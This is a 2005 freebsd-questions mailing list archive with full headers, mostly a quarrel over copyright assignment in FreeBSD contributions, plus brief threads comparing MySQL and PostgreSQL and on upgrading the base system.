FreeBSD GNOME Team Port Content-Transfer-Encoding: 7bit Subject: Re: Please don't change Beastie to another crap logo such as NetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Feb 2005 22:44:55 -0000 Can I suggest a new mailing list - IANALbut@freebsd.org Peter. On Fri, 2005-02-11 at 23:42 +0100, Anthony Atkielski wrote: > Andrew L. Gould writes: > > > That's an assumption. > > The project needs to ask for proof of this, and not simply assume it. > > > We could as easily assume that the employers: > > Never assume anything in law. A wrong assumption could bury the > project. > From owner-freebsd-questions@FreeBSD.ORG Fri Feb 11 22:46:04 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 72B0C16A4CE for ; Fri, 11 Feb 2005 22:46:04 +0000 (GMT) Received: from ns1.tiadon.com (SMTP.tiadon.com [69.27.132.161]) by mx1.FreeBSD.org (Postfix) with ESMTP id 21AFD43D3F for ; Fri, 11 Feb 2005 22:46:04 +0000 (GMT) (envelope-from kdk@daleco.biz) Received: from [69.27.131.0] ([69.27.131.0]) by ns1.tiadon.com with Microsoft SMTPSVC(6.0.3790.211); Fri, 11 Feb 2005 16:46:00 -0600 Message-ID: <420D35A7.7090907@daleco.biz> Date: Fri, 11 Feb 2005 16:45:59 -0600 From: Kevin Kinsey User-Agent: Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.7.3) Gecko/20041210 X-Accept-Language: en-us, en MIME-Version: 1.0 To: rsh.lists@comcast.net References: <20050211115902.5BCC643D3F@mx1.FreeBSD.org> <420D2F12.8020808@comcast.net> In-Reply-To: <420D2F12.8020808@comcast.net> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-OriginalArrivalTime: 11 Feb 2005 22:46:01.0296 (UTC) FILETIME=[75CF8500:01C5108B] cc: Jan Branbergen cc: freebsd-questions@freebsd.org Subject: Re: SQL Questions (MySQL or PostgreSQL?) X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Feb 2005 22:46:04 -0000 Sean wrote: > What is the difference between PostgreSQL and MySQL? > From what I see MySQL seems to be more common. > > Sean There are a lot of threads on a forum I frequent (www.phpbuilder.com/board) that address this issue. Here are a few links. http://www.phpbuilder.com/board/showthread.php?threadid=10289834 http://www.phpbuilder.com/board/showthread.php?threadid=10290286 http://www.phpbuilder.com/board/showthread.php?threadid=10278195 http://www.phpbuilder.com/board/showthread.php?threadid=10277406 http://www.phpbuilder.com/board/showthread.php?threadid=10276119 And, there are plenty more. The search that got these (URI will wrap in your mail, I expect): http://www.phpbuilder.com/board/search.php?action=showresults&searchid=755680&sortby=lastpost&sortorder=descending&perpage=25&pagenumber=1 Good luck! Kevin Kinsey From owner-freebsd-questions@FreeBSD.ORG Fri Feb 11 22:46:54 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 9783316A4CF for ; Fri, 11 Feb 2005 22:46:54 +0000 (GMT) Received: from smtp11.wanadoo.fr (smtp11.wanadoo.fr [193.252.22.31]) by mx1.FreeBSD.org (Postfix) with ESMTP id 4B26A43D48 for ; Fri, 11 Feb 2005 22:46:54 +0000 (GMT) (envelope-from atkielski.anthony@wanadoo.fr) Received: from me-wanadoo.net (localhost [127.0.0.1]) by mwinf1104.wanadoo.fr (SMTP Server) with ESMTP id 848DA1C0009D for ; Fri, 11 Feb 2005 23:46:53 +0100 (CET) Received: from pix.atkielski.com (ASt-Lambert-111-2-1-3.w81-50.abo.wanadoo.fr [81.50.80.3]) by mwinf1104.wanadoo.fr (SMTP Server) with ESMTP id 675971C00091 for ; Fri, 11 Feb 2005 23:46:53 +0100 (CET) X-ME-UUID: 20050211224653423.675971C00091@mwinf1104.wanadoo.fr Date: Fri, 11 Feb 2005 23:46:39 +0100 From: Anthony Atkielski X-Priority: 3 (Normal) Message-ID: <467538167.20050211234639@wanadoo.fr> To: freebsd-questions@freebsd.org In-Reply-To: <200502111436.36427.krinklyfig@spymac.com> References: <805E7F3C-7C77-11D9-B134-000D933E3CEC@shire.net> <1065300005.20050211231617@wanadoo.fr> <200502111436.36427.krinklyfig@spymac.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: Re: Please don't change Beastie to another crap logo such as NetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Feb 2005 22:46:54 -0000 Joshua Tinnin writes: > I don't think you understand the history of FreeBSD. Many people who > work at Yahoo! are committers, and their employer not only knows about > this but encourages it. That's not good enough. The employer has to assign its copyrights as well, or waive the usual work-for-hire arrangement that is implicit for employees writing code within the scope of their work. > To what end? I'd hate to see FreeBSD become unavailable because of copyright issues. A lot of organizations are buried by this type of litigation. And frankly, the cavalier attitude about such serious questions that I sometimes see displayed does not reassure me. -- Anthony From owner-freebsd-questions@FreeBSD.ORG Fri Feb 11 22:49:04 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 7456416A4CE for ; Fri, 11 Feb 2005 22:49:04 +0000 (GMT) Received: from smtp11.wanadoo.fr (smtp11.wanadoo.fr [193.252.22.31]) by mx1.FreeBSD.org (Postfix) with ESMTP id 2AD5B43D31 for ; Fri, 11 Feb 2005 22:49:04 +0000 (GMT) (envelope-from atkielski.anthony@wanadoo.fr) Received: from me-wanadoo.net (localhost [127.0.0.1]) by mwinf1103.wanadoo.fr (SMTP Server) with ESMTP id 8EB551C00095 for ; Fri, 11 Feb 2005 23:49:03 +0100 (CET) Received: from pix.atkielski.com (ASt-Lambert-111-2-1-3.w81-50.abo.wanadoo.fr [81.50.80.3]) by mwinf1103.wanadoo.fr (SMTP Server) with ESMTP id 7319D1C00086 for ; Fri, 11 Feb 2005 23:49:03 +0100 (CET) X-ME-UUID: 20050211224903471.7319D1C00086@mwinf1103.wanadoo.fr Date: Fri, 11 Feb 2005 23:49:03 +0100 From: Anthony Atkielski X-Priority: 3 (Normal) Message-ID: <949494140.20050211234903@wanadoo.fr> To: freebsd-questions@freebsd.org In-Reply-To: <200502111437.38058.krinklyfig@spymac.com> References: <420D24EE.40606@tvog.net> <200502111437.38058.krinklyfig@spymac.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: Re: Please don't change Beastie to another crap logo such as NetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Feb 2005 22:49:04 -0000 Joshua Tinnin writes: > Do you have any proof of malfeasence? I don't need it. That's the way copyright normally works; it's not malfeasance. In order to protect the project, the status of copyright in all code written for the project must be very clearly established, in writing. > Are you planning on suing someone, or is this meant to be useful in > some way? It's meant to protect the project from people like yourself who don't think it can ever happen to them. I've seen corporations and individuals burned badly and sometimes put out of business because of their inability or unwillingness to consider legal issues, and I'd hate to see that happen to FreeBSD. -- Anthony From owner-freebsd-questions@FreeBSD.ORG Fri Feb 11 22:50:57 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 60A6816A4CE for ; Fri, 11 Feb 2005 22:50:57 +0000 (GMT) Received: from smtp.ade.swiftdsl.com.au (smtp.ade.swiftdsl.com.au [218.214.228.98]) by mx1.FreeBSD.org (Postfix) with SMTP id 159A643D39 for ; Fri, 11 Feb 2005 22:50:56 +0000 (GMT) (envelope-from no-spam@swiftdsl.com.au) Received: (qmail 7818 invoked from network); 11 Feb 2005 22:50:54 -0000 Received: from unknown (HELO daemon.foo.lan) (218.214.176.70) by smtp.ade.swiftdsl.com.au with SMTP; 11 Feb 2005 22:50:54 -0000 From: Ian Moore To: freebsd-questions@freebsd.org Date: Sat, 12 Feb 2005 09:20:45 +1030 User-Agent: KMail/1.7.2 References: <20050208085748.GA13424@sdf.lonestar.org> <44acqfcdqk.fsf@be-well.ilk.org> <20050211072027.GA29449@sdf.lonestar.org> In-Reply-To: <20050211072027.GA29449@sdf.lonestar.org> MIME-Version: 1.0 Content-Type: multipart/signed; boundary="nextPart1241794.0UzTtEnPP7"; protocol="application/pgp-signature"; micalg=pgp-sha1 Content-Transfer-Encoding: 7bit Message-Id: <200502120920.52803.no-spam@swiftdsl.com.au> cc: Olivier Nicole cc: Matt Rechkemmer cc: Lowell Gilbert Subject: Re: Dumb question about ports/packages X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Feb 2005 22:50:57 -0000 --nextPart1241794.0UzTtEnPP7 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Content-Disposition: inline On Fri, 11 Feb 2005 17:50, Matt Rechkemmer wrote: > On Tue, Feb 08, 2005 at 09:45:07AM -0500, Lowell Gilbert wrote: > These are probably RTFM questions, but I didn't seem to find a mention of > the base system packages in the UPGRADING document. So how would one > update a base package, check it out of CVS and just compile/install like > normal? There are 2 UPDATING files - /usr/ports/UPDATING for the ports collection=20 & /usr/src/UPDATING for the base system. > Should upgrading the entire system become a necessity (say 4.10 to 4.11), > would a reboot be *absolutely* necessary? Yes, if you update your kernel, you can't load it except by re-booting. The 'correct' and safest way to update is to do the update, as the handbook= =20 says, involves doing # mergemaster -p # make installworld # mergemaster # reboot in single user mode. > > Final question :-), is there anyway to determine if a base package is out > of date? Or is just wise to leave the base alone and upgrade when a new > release comes along. You should at least update your system when security vulnerabilities occur = in=20 the base system. To minimise upgrades, follow the security branch for your= =20 release - this only has security fixes, not new features. See the handbook= =20 for details. Subscribe to the Security Notifications list to get notificati= on=20 of base system vunerabilities. Cheers, =2D-=20 Ian GPG Key: http://home.swiftdsl.com.au/~imoore/no-spam.asc --nextPart1241794.0UzTtEnPP7 Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.0 (FreeBSD) iD8DBQBCDTbMPUlnmbKkJ6ARAvFvAKCj0id6h5ntr+zgj52DZdKaFdd1VwCfRgPO bmFNJEAy3WhUJqouMKc1U84= =NCqr -----END PGP SIGNATURE----- --nextPart1241794.0UzTtEnPP7-- From owner-freebsd-questions@FreeBSD.ORG Fri Feb 11 22:51:32 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 2E70016A4CE for ; Fri, 11 Feb 2005 22:51:32 +0000 (GMT) Received: from smtpauth09.mail.atl.earthlink.net (smtpauth09.mail.atl.earthlink.net [209.86.89.69]) by mx1.FreeBSD.org (Postfix) with ESMTP id DDF0A43D39 for ; Fri, 11 Feb 2005 22:51:31 +0000 (GMT) (envelope-from algould@datawok.com) Received: from [206.255.31.21] (helo=[192.168.63.10]) by smtpauth09.mail.atl.earthlink.net with asmtp (TLSv1:RC4-MD5:128) (Exim 4.34) id 1CzjdJ-0000yk-Tc; Fri, 11 Feb 2005 17:51:30 -0500 From: "Andrew L. Gould" To: freebsd-questions@freebsd.org, rsh.lists@comcast.net Date: Fri, 11 Feb 2005 16:51:59 -0600 User-Agent: KMail/1.6.2 References: <20050211115902.5BCC643D3F@mx1.FreeBSD.org> <420D2F12.8020808@comcast.net> In-Reply-To: <420D2F12.8020808@comcast.net> MIME-Version: 1.0 Content-Disposition: inline Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Message-Id: <200502111651.59707.algould@datawok.com> X-ELNK-Trace: ee791d459e3d6817d780f4a490ca69563f9fea00a6dd62bc50fa0f65c10ab2e685f17219e679abf5350badd9bab72f9c350badd9bab72f9c350badd9bab72f9c X-Originating-IP: 206.255.31.21 cc: Jan Branbergen Subject: Re: SQL Questions (MySQL or PostgreSQL?) X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Feb 2005 22:51:32 -0000 On Friday 11 February 2005 04:17 pm, Sean wrote: > > What is the difference between PostgreSQL and MySQL? > From what I see MySQL seems to be more common. > > Sean What.....not enough holy wars this week? ;-) PostgreSQL and MySQL are both good database server applications. Here are some links that you might find useful. http://www.builderau.com.au/architect/database/0,39024547,20266351,00.htm http://www.databasejournal.com/features/mysql/article.php/3288951 If you need more info, visit their websites or google. http://www.mysql.com/ http://www.postgresql.org/ MySQL is very popular for web applications. From a marketing perspective, it benefited greatly from the acronym "LAMP". If you're distributing database applications, you'll probably prefer PostgreSQL's license. My personal preference is PostgreSQL. I use it for data analysis and database applications that use MS Access as a desktop front-end. It's been fast and rock-solid. The current version, version 8, is the first version with a port that is native to Windows. I also share certain public data with Windows users with laptops. Since MySQL uses less disk space to store the database and has had a Windows version for several years, it was the better choice for their needs. As I said, both are good database servers. You have to match the server to your own needs. Andrew Gould From owner-freebsd-questions@FreeBSD.ORG Fri Feb 11 22:51:55 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id F385F16A4CE for ; Fri, 11 Feb 2005 22:51:54 +0000 (GMT) Received: from smtp11.wanadoo.fr (smtp11.wanadoo.fr [193.252.22.31]) by mx1.FreeBSD.org (Postfix) with ESMTP id 53CB443D54 for ; Fri, 11 Feb 2005 22:51:54 +0000 (GMT) (envelope-from atkielski.anthony@wanadoo.fr) Received: from me-wanadoo.net (localhost [127.0.0.1]) by mwinf1108.wanadoo.fr (SMTP Server) with ESMTP id 891031C0009A for ; Fri, 11 Feb 2005 23:51:53 +0100 (CET) Received: from pix.atkielski.com (ASt-Lambert-111-2-1-3.w81-50.abo.wanadoo.fr [81.50.80.3]) by mwinf1108.wanadoo.fr (SMTP Server) with ESMTP id 674871C00087 for ; Fri, 11 Feb 2005 23:51:53 +0100 (CET) X-ME-UUID: 20050211225153423.674871C00087@mwinf1108.wanadoo.fr Date: Fri, 11 Feb 2005 23:51:40 +0100 From: Anthony Atkielski X-Priority: 3 (Normal) Message-ID: <676533660.20050211235140@wanadoo.fr> To: freebsd-questions@freebsd.org In-Reply-To: <05C10068-7C7E-11D9-B134-000D933E3CEC@shire.net> References: <649200329.20050211081852@wanadoo.fr> <621dabed4fc2996ae4cb3a2929d6842c@chrononomicon.com> <389541039.20050211231100@wanadoo.fr> <45B84E47-7C7B-11D9-B134-000D933E3CEC@shire.net> <494362973.20050211233012@wanadoo.fr> <05C10068-7C7E-11D9-B134-000D933E3CEC@shire.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: Re: Please don't change Beastie to another crap logo such as NetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Feb 2005 22:51:55 -0000 Chad Leigh -- Shire.Net LLC writes: > You ask a dumb question, get such an answer. Be sure to tell the CIOs that. That'll do wonders for adoption of FreeBSD. > You make assumptions that just because someone is paying someone to > work on FreeBSD that no one has thought of the copyright implications. Because I know that it happens regularly. Geeks usually know nothing about copyright and think that they are above copyright law. > The people running the FreeBSD project are smarter than that. Then they are also smarter than the people running Microsoft, IBM, Adobe, Apple, Sun, and many other multibillion-dollar companies, all of which have regular problems with copyright and patent law. The difference is that these large companies can afford to defend themselves in court (and even then they sometimes lose). > And I am not your errand-boy. If you are seriously worried about this, > then you need to make the investment necessary to clear your mind on > the issue. Asking other people to do so is arrogant. I'm trying to keep people from shooting themselves in the feet. Why is there always such hostility towards this? -- Anthony From owner-freebsd-questions@FreeBSD.ORG Fri Feb 11 22:52:44 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id AA71B16A4CE for ; Fri, 11 Feb 2005 22:52:44 +0000 (GMT) Received: from hobbiton.shire.net (hobbiton.shire.net [166.70.252.250]) by mx1.FreeBSD.org (Postfix) with ESMTP id 797B243D49 for ; Fri, 11 Feb 2005 22:52:44 +0000 (GMT) (envelope-from chad@shire.net) Received: from [67.161.222.227] (helo=[192.168.99.68]) by hobbiton.shire.net with esmtpsa (TLSv1:RC4-SHA:128) (Exim 4.43) id 1CzjeW-000Hbs-52 for freebsd-questions@freebsd.org; Fri, 11 Feb 2005 15:52:44 -0700 Mime-Version: 1.0 (Apple Message framework v619) In-Reply-To: <467538167.20050211234639@wanadoo.fr> References: <805E7F3C-7C77-11D9-B134-000D933E3CEC@shire.net> <1065300005.20050211231617@wanadoo.fr> <200502111436.36427.krinklyfig@spymac.com> <467538167.20050211234639@wanadoo.fr> Message-Id: From: Chad Leigh -- Shire.Net LLC Date: Fri, 11 Feb 2005 15:52:43 -0700 To: freebsd-questions@freebsd.org X-Mailer: Apple Mail (2.619) X-SA-Exim-Connect-IP: 67.161.222.227 X-SA-Exim-Mail-From: chad@shire.net Content-Type: text/plain; charset=US-ASCII; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Checker-Version: SpamAssassin 3.0.0 (2004-09-13) on hobbiton.shire.net X-Spam-Status: No, score=-0.1 required=5.0 tests=AWL,BAYES_50,PLING_PLING autolearn=disabled version=3.0.0 X-Spam-Level: X-SA-Exim-Version: 4.1+cvs (built Mon, 23 Aug 2004 08:44:05 -0700) X-SA-Exim-Scanned: Yes (on hobbiton.shire.net) Subject: Re: Please don't change Beastie to another crap logo such as NetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Feb 2005 22:52:44 -0000 On Feb 11, 2005, at 3:46 PM, Anthony Atkielski wrote: > Joshua Tinnin writes: > >> I don't think you understand the history of FreeBSD. Many people who >> work at Yahoo! are committers, and their employer not only knows about >> this but encourages it. > > That's not good enough. The employer has to assign its copyrights as > well, or waive the usual work-for-hire arrangement that is implicit for > employees writing code within the scope of their work. > >> To what end? > > I'd hate to see FreeBSD become unavailable because of copyright issues. > A lot of organizations are buried by this type of litigation. And > frankly, the cavalier attitude about such serious questions that I > sometimes see displayed does not reassure me. > This is not the right place to ask such questions. If you are *seriously* concerned about this, and do not think that the FreeBSD core / foundation and their lawyers have not thought about this, then you should bring it up with them, and perhaps do a little leg work yourself and go through the codebase and make sure. Chad From owner-freebsd-questions@FreeBSD.ORG Fri Feb 11 22:53:43 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 0CB6A16A4CE for ; Fri, 11 Feb 2005 22:53:43 +0000 (GMT) Received: from hobbiton.shire.net (hobbiton.shire.net [166.70.252.250]) by mx1.FreeBSD.org (Postfix) with ESMTP id CAD1043D31 for ; Fri, 11 Feb 2005 22:53:42 +0000 (GMT) (envelope-from chad@shire.net) Received: from [67.161.222.227] (helo=[192.168.99.68]) by hobbiton.shire.net with esmtpsa (TLSv1:RC4-SHA:128) (Exim 4.43) id 1CzjfS-000Hbs-Cl for freebsd-questions@freebsd.org; Fri, 11 Feb 2005 15:53:42 -0700 Mime-Version: 1.0 (Apple Message framework v619) In-Reply-To: <676533660.20050211235140@wanadoo.fr> References: <649200329.20050211081852@wanadoo.fr> <621dabed4fc2996ae4cb3a2929d6842c@chrononomicon.com> <389541039.20050211231100@wanadoo.fr> <45B84E47-7C7B-11D9-B134-000D933E3CEC@shire.net> <494362973.20050211233012@wanadoo.fr> <05C10068-7C7E-11D9-B134-000D933E3CEC@shire.net> <676533660.20050211235140@wanadoo.fr> Message-Id: From: Chad Leigh -- Shire.Net LLC Date: Fri, 11 Feb 2005 15:53:42 -0700 To: freebsd-questions@freebsd.org X-Mailer: Apple Mail (2.619) X-SA-Exim-Connect-IP: 67.161.222.227 X-SA-Exim-Mail-From: chad@shire.net Content-Type: text/plain; charset=US-ASCII; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Checker-Version: SpamAssassin 3.0.0 (2004-09-13) on hobbiton.shire.net X-Spam-Status: No, score=-0.1 required=5.0 tests=AWL,BAYES_50,PLING_PLING autolearn=disabled version=3.0.0 X-Spam-Level: X-SA-Exim-Version: 4.1+cvs (built Mon, 23 Aug 2004 08:44:05 -0700) X-SA-Exim-Scanned: Yes (on hobbiton.shire.net) Subject: Re: Please don't change Beastie to another crap logo such as NetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Feb 2005 22:53:43 -0000 On Feb 11, 2005, at 3:51 PM, Anthony Atkielski wrote: > Chad Leigh -- Shire.Net LLC writes: > >> You ask a dumb question, get such an answer. > > Be sure to tell the CIOs that. That'll do wonders for adoption of > FreeBSD. CIOs don't hang out in public mailing lists asking such questions Chad > >> You make assumptions that just because someone is paying someone to >> work on FreeBSD that no one has thought of the copyright implications. > > Because I know that it happens regularly. Geeks usually know nothing > about copyright and think that they are above copyright law. > >> The people running the FreeBSD project are smarter than that. > > Then they are also smarter than the people running Microsoft, IBM, > Adobe, Apple, Sun, and many other multibillion-dollar companies, all of > which have regular problems with copyright and patent law. The > difference is that these large companies can afford to defend > themselves > in court (and even then they sometimes lose). > >> And I am not your errand-boy. If you are seriously worried about >> this, >> then you need to make the investment necessary to clear your mind on >> the issue. Asking other people to do so is arrogant. > > I'm trying to keep people from shooting themselves in the feet. Why is > there always such hostility towards this? > > -- > Anthony > > > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to > "freebsd-questions-unsubscribe@freebsd.org" From owner-freebsd-questions@FreeBSD.ORG Fri Feb 11 22:53:53 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 61FCF16A4CE for ; Fri, 11 Feb 2005 22:53:53 +0000 (GMT) Received: from smtp11.wanadoo.fr (smtp11.wanadoo.fr [193.252.22.31]) by mx1.FreeBSD.org (Postfix) with ESMTP id 1090843D39 for ; Fri, 11 Feb 2005 22:53:53 +0000 (GMT) (envelope-from atkielski.anthony@wanadoo.fr) Received: from me-wanadoo.net (localhost [127.0.0.1]) by mwinf1106.wanadoo.fr (SMTP Server) with ESMTP id 436BF1C00093 for ; Fri, 11 Feb 2005 23:53:52 +0100 (CET) Received: from pix.atkielski.com (ASt-Lambert-111-2-1-3.w81-50.abo.wanadoo.fr [81.50.80.3]) by mwinf1106.wanadoo.fr (SMTP Server) with ESMTP id 27EE71C00086 for ; Fri, 11 Feb 2005 23:53:52 +0100 (CET) X-ME-UUID: 20050211225352163.27EE71C00086@mwinf1106.wanadoo.fr Date: Fri, 11 Feb 2005 23:53:38 +0100 From: Anthony Atkielski X-Priority: 3 (Normal) Message-ID: <1619864952.20050211235338@wanadoo.fr> To: freebsd-questions@freebsd.org In-Reply-To: <46AF39DC-7C7E-11D9-B134-000D933E3CEC@shire.net> References: <649200329.20050211081852@wanadoo.fr> <621dabed4fc2996ae4cb3a2929d6842c@chrononomicon.com> <420D24EE.40606@tvog.net> <566767782.20050211231303@wanadoo.fr> <7E82FCE7-7C7B-11D9-B134-000D933E3CEC@shire.net> <1165530279.20050211234028@wanadoo.fr> <46AF39DC-7C7E-11D9-B134-000D933E3CEC@shire.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: Re: Please don't change Beastie to another crap logo such as NetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Feb 2005 22:53:53 -0000 Chad Leigh -- Shire.Net LLC writes: > I don't know. Go ask them. Look in the codebase yourself, or pay > someone to do so. Is this what you would tell someone contemplating a multimillion-dollar investment in a FreeBSD rollout to 10,000 servers? "I don't know"? "Look it up yourself"? This project may need a lot more than a logo. -- Anthony From owner-freebsd-questions@FreeBSD.ORG Fri Feb 11 22:55:21 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id EFEEA16A4CE for ; Fri, 11 Feb 2005 22:55:21 +0000 (GMT) Received: from smtp11.wanadoo.fr (smtp11.wanadoo.fr [193.252.22.31]) by mx1.FreeBSD.org (Postfix) with ESMTP id 875F743D48 for ; Fri, 11 Feb 2005 22:55:21 +0000 (GMT) (envelope-from atkielski.anthony@wanadoo.fr) Received: from me-wanadoo.net (localhost [127.0.0.1]) by mwinf1107.wanadoo.fr (SMTP Server) with ESMTP id C435C1C000A0 for ; Fri, 11 Feb 2005 23:55:20 +0100 (CET) Received: from pix.atkielski.com (ASt-Lambert-111-2-1-3.w81-50.abo.wanadoo.fr [81.50.80.3]) by mwinf1107.wanadoo.fr (SMTP Server) with ESMTP id A95181C0009B for ; Fri, 11 Feb 2005 23:55:20 +0100 (CET) X-ME-UUID: 20050211225520693.A95181C0009B@mwinf1107.wanadoo.fr Date: Fri, 11 Feb 2005 23:55:20 +0100 From: Anthony Atkielski X-Priority: 3 (Normal) Message-ID: <982108081.20050211235520@wanadoo.fr> To: freebsd-questions@freebsd.org In-Reply-To: References: <805E7F3C-7C77-11D9-B134-000D933E3CEC@shire.net> <1065300005.20050211231617@wanadoo.fr> <200502111436.36427.krinklyfig@spymac.com> <467538167.20050211234639@wanadoo.fr> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: Re: Please don't change Beastie to another crap logo such as NetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Feb 2005 22:55:22 -0000 Chad Leigh -- Shire.Net LLC writes: > This is not the right place to ask such questions. Why is it called freebsd-questions? > If you are > *seriously* concerned about this, and do not think that the FreeBSD > core / foundation and their lawyers have not thought about this, then > you should bring it up with them, and perhaps do a little leg work > yourself and go through the codebase and make sure. How do I "bring it up with them"? Where _are_ they? -- Anthony From owner-freebsd-questions@FreeBSD.ORG Fri Feb 11 22:56:03 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id DFDB516A4CE for ; Fri, 11 Feb 2005 22:56:03 +0000 (GMT) Received: from smtp11.wanadoo.fr (smtp11.wanadoo.fr [193.252.22.31]) by mx1.FreeBSD.org (Postfix) with ESMTP id 94E1843D2F for ; Fri, 11 Feb 2005 22:56:03 +0000 (GMT) (envelope-from atkielski.anthony@wanadoo.fr) Received: from me-wanadoo.net (localhost [127.0.0.1]) by mwinf1109.wanadoo.fr (SMTP Server) with ESMTP id CDFCD1C0009E for ; Fri, 11 Feb 2005 23:56:02 +0100 (CET) Received: from pix.atkielski.com (ASt-Lambert-111-2-1-3.w81-50.abo.wanadoo.fr [81.50.80.3]) by mwinf1109.wanadoo.fr (SMTP Server) with ESMTP id B18781C0009A for ; Fri, 11 Feb 2005 23:56:02 +0100 (CET) X-ME-UUID: 20050211225602727.B18781C0009A@mwinf1109.wanadoo.fr Date: Fri, 11 Feb 2005 23:56:02 +0100 From: Anthony Atkielski X-Priority: 3 (Normal) Message-ID: <603040130.20050211235602@wanadoo.fr> To: freebsd-questions@freebsd.org In-Reply-To: References: <649200329.20050211081852@wanadoo.fr> <621dabed4fc2996ae4cb3a2929d6842c@chrononomicon.com> <389541039.20050211231100@wanadoo.fr> <45B84E47-7C7B-11D9-B134-000D933E3CEC@shire.net> <494362973.20050211233012@wanadoo.fr> <05C10068-7C7E-11D9-B134-000D933E3CEC@shire.net> <676533660.20050211235140@wanadoo.fr> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: Re: Please don't change Beastie to another crap logo such as NetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: 